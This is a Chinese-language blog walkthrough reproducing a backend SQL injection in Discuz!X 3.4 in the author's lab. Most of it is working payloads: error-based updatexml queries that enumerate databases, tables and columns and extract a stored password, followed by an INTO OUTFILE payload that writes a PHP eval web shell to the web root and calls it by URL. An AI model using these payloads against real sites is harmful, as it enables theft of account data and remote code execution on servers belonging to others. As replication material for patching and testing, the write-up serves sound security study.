Discuz!X系列全版本后台sql注入复现
阅读原文时间:2023年07月08日阅读:1

圈子某位大佬公布的0day,拿来刷一刷,漏洞分析请移步大佬文章。
大佬链接

0x01 环境准备

1、首先去码云下载最新版本的discuz(DiscuzX 3.4 R20191201)。

2、将upaod放置到网站目录下,访问安装目录安装即可。

0x02 漏洞复现

点击站长--UCenter设置

点击最下面的提交进行抓包

判断列数

1'  order by 1   //返回正确
1'  order by 2   //返回错误

查询当前用户

1' and updatexml(1,concat(0x7e,(SELECT user())),1)-- a

查询版本

1' and updatexml(1,concat(0x7e,(SELECT version())),1)-- a

查询数据库

1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)-- a    //mysql
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),1)-- a    //information_schema
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1)-- a    //performance_schema
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1)),1)-- a    //sys
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 4,1)),1)-- a    //test
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 5,1)),1)-- a    //ultrax
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 6,1)),1)-- a    //空

可以发现,共有6个库

查询数据表

这里随便找了一个库测试的,test库只有一个表。

1' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='test' limit 0,1)),1)-- a   //users
1' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='test' limit 1,1)),1)-- a   //空

1' and updatexml(1,concat(0x7e,(select group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA='mysql')),1)-- a

查询字段

1' and updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users')),1)-- a

这个没显示全

1' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 2,1)),1)-- a     //user

1' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 5,1)),1)-- a  //password

爆字段值

1' and updatexml(1,concat(0x7e,(select password from test.users limit 1,1)),1)-- a

成功搞到密码test123

写入文件

Payload:

1' into outfile 'c:\\wamp64\\tmp\\1.txt'  -- a

emmmm….

The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

查看一下secure-file-priv配置

show variables like '%secure%';

secure_file_priv的值为null,那么secure_file_priv这里都有什么设置呢

修改mysql.ini文件,加入如下语句

secure_file_priv=''

重启mysql服务

1' union select '<?php eval($_GET[1])?>' into outfile 'C:\\phpstudy_pro\\WWW\\discuz\\1.php'  -- a

http://192.168.91.149/discuz/1.php?1=phpinfo();

0x03 结束

吐槽一下,手注真麻烦,还是sqlmap好玩。